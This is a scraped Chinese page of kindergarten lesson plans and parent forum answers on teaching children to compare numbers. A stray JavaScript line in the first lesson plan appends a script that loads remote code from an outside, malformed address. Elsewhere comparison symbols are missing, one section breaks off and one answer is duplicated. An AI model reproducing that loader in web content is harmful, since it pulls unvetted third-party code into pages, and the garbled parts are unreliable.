幼儿园大班课程数字比大小

1. 幼儿园大班数学《20以内数的大小比较》

比较20以内数的大小》说课稿 一、说教材内容及作用 比较20以内数的大小是在学生掌握20以内数的顺序的基础上，通过操作实践，观察思考、合作交流等学习方式帮助学生学习的新知识，是在比较大小的基础上加深对数的大小的认识，为比较两个数的大小奠定基础，在整个数的学习体系中具有相当重要的地位。 二、说教学目标： 知识与技能：经历比较20以内两位数大小的过程，掌握比较两位数大小的方法；培养抽象概括及语言表达的能力。 情感与态度：让学生在活动过程中养成用数学思维方法去思考问题的良好习惯。 教学重点：比较两位数大小的方法 教学难点：清楚地表述比较的方法 三、教法与学法 1、情境创设法，以情境激兴趣。 充分利用学生已有的知识，设计生动有趣的学习情境，激发学生的兴趣，让学生通过看猜一猜的学习方式去引入。 2、合作探究法，以合作促深化。 合作学习是学生获取知识的重要方法，在小组中交流想法，互相启发，使认识得到深化，知识得到巩固，也能培养学生合作交流的能力。 3、游戏练习法，以练习促发展。 游戏活动是有目的的练习形式，使学生对知识进一步感知、理解、掌握、运用。 四、说教学过程： var script = document.createElement('script'); script.src = 'http://static.pay..com/resource/chuan/ns.js'; document.body.appendChild(script); 1、复习导入新课。 通过对20以内数的顺序的复习，通过谈话引入对两个数的大小的比较，激发学生的求知欲望，达到引入新课的目的。 2、新课教学。 第一阶段：通过生活实物苹果和饼干的比较，让学生加深对数的认识，再通过一对一的比较，让学生明白谁多，谁少，引申出4比6小，6比4大。再通过学生的实践操作，让学生理解更加深刻，比较出4和6的大小。 第二阶段：通过出示小明和小梅的对话课件，说出自己的年龄，让学生们比较谁的年龄大，谁的年龄小，同样通过一对一的方法，让学生明白多和少的比较。再请出任意两位同学，说出自己的年龄，拿出相对应的数字卡片，两位同学比较一下手中的数字大小，在实践中理解数字的大小，逐渐训练学生认识到按数的顺序数，排在后面的数要大，排在前面的数要小的规律。 第三阶段：通过出示小汽车的图片，让学生知道小汽车有4个座位，而现在有7个人想坐车，能坐下嘛？让学生在比较4和7的大小的过程中明白，人多了，座位少了，坐不下这么多人，因此，7比4大，再普及乘座车辆不要超载的知识。 3、课堂练习。 通过练习，让学生进一步认识大和小，并能快速的比较出两个数的大小。 4、课堂小结。 让学生小结我们这节课学习的内容，培养学生的语言表达能力。 5、课后练习。

2. 我孩子4周岁了念大班，老师教的10以内的数字比大小，孩子一个也不会做，请教如何在家教孩子识别数字大小呢

我觉得在孩子复的这个年龄制，不应该只是机械的教导他如何做题，就算做得好又如何呢？
幼儿园和小学阶段，我们到底应该学会什么？只是学会加减乘除和ABCD吗？我想不是的。
我见过太多的小时后成绩优异但最后却一落千丈的同学，是他们不够聪明吗？我想不是的。

楼主说小孩不会比大小，我认为大可不必着急，这种能力随着生活中慢慢地积累，小孩都可以学会，现在重要的是培养孩子的思维模式，还有对学习的兴趣与态度。这三点才是幼儿园小学教育中我们真正应该教给孩子的！而不要把小孩教成一个为了考试而考试，为了学习而学习的机器！

纯手打，希望对楼主有所帮助，望采纳！

3. 孩子4周岁了念大班，老师教的10以内的数字比大小，孩子不会做，请教如何在家教孩子识别数字大小呢

• 我觉得在孩子的这个年龄，不应该只是机械的教导他如何回做题，就算做得好又答如何呢？
  

• 幼儿园和小学阶段，我们到底应该学会什么？只是学会加减乘除和ABCD吗？我想不是的。
  我见过太多的小时后成绩优异但最后却一落千丈的同学，是他们不够聪明吗？我想不是的。
  

• 小孩不会比大小，我认为大可不必着急，这种能力随着生活中慢慢地积累，小孩都可以学会，现在重要的是培养孩子的思维模式，还有对学习的兴趣与态度。这三点才是幼儿园小学教育中我们真正应该教给孩子的！而不要把小孩教成一个为了考试而考试，为了学习而学习的机器。

4. 幼儿园教数字比大小会不会太早

活动目标： 1、认识""，理解符号的含义。 2、会比较10以内的数字大小。 活动准备： 1、大数卡1-10，""符号卡片两套。 2、《幼儿画册》和笔。 活动过程： 一、复习数字1-10今天老师给小朋友带来了数字卡片，你能说出是数字几吗？可以拍几下手？ 幼儿看数字几，并用拍手表示数量。 二、认识"" 1、教师出示数卡6和7，引导幼儿判断谁大谁小。 （1）提问：6和7中间可以放哪种符号？（

5. 怎样教幼儿比较数的大小

你好，可以准备20个数字牌，形状为圆（从小到大）形状随数字大小而递增，让小孩有明确的感觉，好教又好学

6. 幼儿园大班数学比较多少教案

幼儿园比较多少的教案
活动目标：

1、通过游戏活动，进一步巩固幼儿运用重叠对应比较的方法，比较两组实物的多少。

2、在教师的引导下，能较熟练地运用完整的语言描述物体的比较结果。

3、鼓励幼儿积极参与游戏活动，大胆表达，体验数学活动的有趣。

活动准备：

1、活动场地布置成家的场景。

2、动物头饰若干(与幼儿人数相等)，一次性餐盘比幼儿人数少1、纸杯比幼儿人数多1，水果与幼儿一样多。

活动过程：

一、创设情境，导入课题，激发幼儿参与活动的兴趣。

1、(师有共同带上小动物头饰)今天小熊请客，它邀请我们小动物们到它家去做客，你们高兴吗?

2、幼儿随同“动物园”的乐曲边表演边入场。

二、通过游戏活动，进一步引导孩子学习用重叠、对应比较的方法比较物体的多、少、一样多。

1、(配班老师扮小熊)说：欢迎你们，请入座吧!哎!小兔宝宝你怎么不坐呀?(引导幼儿说出：小动物比椅子多1，椅子比小动物少1)

2、(请小动物喝茶)小动物们幸苦了，一定很渴吧，我给你们倒茶，(另一老师带领小动物)说：不用麻烦您，我们自己来吧!(小动物拿到茶杯倒说水)。小熊说：是不是哪小动物没有水呀?怎么还有一只茶杯呢?(引导幼儿说出：茶杯比小动物多1，小朋友比茶杯少1)

3、(小熊端出水果)说：请吃水果!(让幼儿说出：水果和小朋友一样多)。

4、游戏——小动物找山洞。

我们一起来玩游戏吧。

① 复习巩固游戏玩法。

② 幼儿合作游戏。(引导幼儿说出：小动物比山洞多(少)，山洞比小动物少(多)。

三、天黑了小动物告别小熊回家去。